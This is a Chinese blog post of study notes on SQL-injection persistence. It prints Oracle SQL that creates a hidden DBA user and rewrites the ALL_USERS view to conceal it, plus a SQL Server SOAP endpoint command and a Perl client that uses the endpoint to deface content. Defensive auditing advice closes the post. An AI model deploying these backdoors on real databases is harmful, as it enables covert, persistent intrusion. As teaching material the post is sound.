SQL注入与防御-第六章-3:利用操作系统--巩固访问

一、核心逻辑与价值

"巩固访问" 是 SQL 注入攻击的持久化控制阶段,通过篡改数据库权限、植入隐蔽后门(如 "数据库 rootkit" )、利用系统组件(如 SQL Server SOAP 端点 ),实现对数据库及关联服务器的长期控制,绕过常规防御检测,扩大攻击影响。

二、技术实现与典型场景

(一)数据库 Rootkit 植入(以 Oracle 为例)

1. 原理

通过篡改数据库元数据、系统视图,隐藏恶意用户、权限或操作,类似操作系统 Rootkit 对系统进程、文件的隐藏,使攻击行为长期潜伏。

2. 实施步骤(示例代码)

sql 复制代码
- 1. 创建隐蔽用户(需 DBA 权限)
GRANT DBA TO hidden IDENTIFIED BY hidden_2009;
-- 2. 禁用多进程(干扰系统审计)
SELECT sys.kupp$proc.disable_multiprocess FROM dual;
-- 3. 篡改用户标识(伪装为 SYS 用户)
SQL> exec sys.kupp$proc.change_user('SYS');
-- 4. 隐藏用户(修改系统视图过滤条件)
UPDATE sys.users SET temp#='666' WHERE name='HIDDEN';
-- 5. 创建伪造视图(从 ALL_USERS/DBA_USERS 中隐藏恶意用户)
CREATE OR REPLACE FORCE VIEW "SYS"."ALL_USERS" ("USERNAME", "USER_ID", "CREATED") AS
SELECT u.name, u.user# , u.ctime
FROM sys.user$ u, sys.ts$ dts, sys.ts$ tts
WHERE u.datats# = dts.ts#
AND u.tempts# = tts.ts#
AND u.type != 1 -- 过滤恶意用户类型
AND u.temp# != '666'; -- 过滤标记用户

3. 防御难点

  • 直接篡改系统表 / 视图,突破常规权限审计;
  • 依赖数据库高权限(如 DBA ),攻击成功后难以追溯。

(二)利用 SQL Server SOAP 端点持久化控制

1. 原理

通过 CREATE ENDPOINT 命令创建 SOAP 端点,将 SQL 执行能力绑定到 HTTP 服务,实现跨协议控制(从数据库注入延伸到 Web 服务接口 ),绕过传统数据库防御。

2. 实施步骤(示例代码)

sql 复制代码
- 创建 SOAP 端点(需高权限,如 sysadmin )
EXEC ('CREATE ENDPOINT ep2 STATE=STARTED AS HTTP
( PATH = ''/sp'', PORTS=(CLEAR), AUTHENTICATION=(INTEGRATED) )
FOR SOAP (BATCHES=ENABLED)');
-- 通过 SOAP 端点执行任意 SQL(示例:篡改 Web 页面)
-- 构造 Perl SOAP 请求(简化示例)
use SOAP::Lite;
my $soap = SOAP::Lite->uri('http://schemas.microsoft.com/sql/2004/08/server');
my $result = $soap->Execute( SOAP::Data->name('sql' => 'UPDATE test SET content = ''Hacked'' WHERE id=1')
)->result;

3. 攻击链扩展

  • 绑定到 IIS 同一内核组件(http.sys ),利用 SQL Server 高权限篡改 Web 内容;
  • 结合 sqlbatch 方法,通过 SOAP 远程执行 T-SQL 语句,实现命令执行、权限维持。

(三)主流数据库 Rootkit 与防御启示

1. 典型工具与案例

  • SQL Server :利用 http.sys 暴露 SOAP 端点,创建隐蔽通信通道;
  • Oracle :通过修改 ALL_USERS DBA_USERS 视图隐藏用户,结合 sys.kupp$proc 篡改系统状态;
  • 历史案例:Chris Anley 的 "三字节补丁"(反转条件跳转逻辑禁用系统验证 )、Alexander Kornbrust 揭露的数据库 Rootkit 家族。

2. 防御思路

  • 元数据审计 :定期检查系统表(如 sys.users ALL_USERS )、视图的异常变更,对比官方 schema 哈希;
  • 功能限制 :禁用不必要的数据库功能(如 CREATE ENDPOINT sys.kupp$proc ),最小化攻击面;
  • 行为监控 :通过数据库审计工具(如 SQL Server Audit、Oracle Audit Vault )追踪高权限操作(如 GRANT DBA CREATE VIEW )。

三、总结

"巩固访问" 是 SQL 注入攻击的持久化阶段 ,利用数据库 Rootkit、系统组件扩展(如 SOAP 端点 ),实现长期控制与隐蔽渗透。防御需聚焦元数据审计、功能最小化、行为监控,切断攻击的持久化链路。此类攻击依赖高权限,因此权限收缩与实时审计是核心防御手段。

相关推荐
求学中--6 小时前
MySQL 数据库完整操作命令与使用指南
数据库·sql·mysql·oracle
白帽子凯哥哥8 小时前
如何从零开始搭建一个安全的渗透测试实验环境?
安全·web安全·网络安全·渗透测试·漏洞挖掘
独行soc10 小时前
2025年渗透测试面试题总结-280(题目+回答)
网络·python·安全·web安全·网络安全·渗透测试·安全狮
lifejump10 小时前
新版upload-labs报错:“Parse error...“(已解决)
web安全
AIHE-TECH11 小时前
多台西门子PLC控制器与SQL数据库对接(带边缘计算)的案例
数据库·sql·mysql·边缘计算·达梦数据库·西门子plc·智能网关
思成不止于此11 小时前
【MySQL 零基础入门】MySQL 函数精讲(二):日期函数与流程控制函数篇
android·数据库·笔记·sql·学习·mysql
Bruce_Liuxiaowei13 小时前
Windows系统映像劫持:网络安全中的“李代桃僵”战术
windows·安全·web安全
介一安全13 小时前
【Frida Android】实战篇14:非标准算法场景 Hook 教程
android·网络安全·逆向·安全性测试·frida
bleach-14 小时前
内网渗透之横向移动&持久化远程控制篇——利用ipc、sc、schtasks、AT,远程连接的winrm,wmic的使用和定时任务的创建
网络·windows·安全·web安全·网络安全·系统安全·安全威胁分析
木风小助理14 小时前
子查询与 JOIN 查询性能比较:执行机制与适用场景解析
数据库·sql·mysql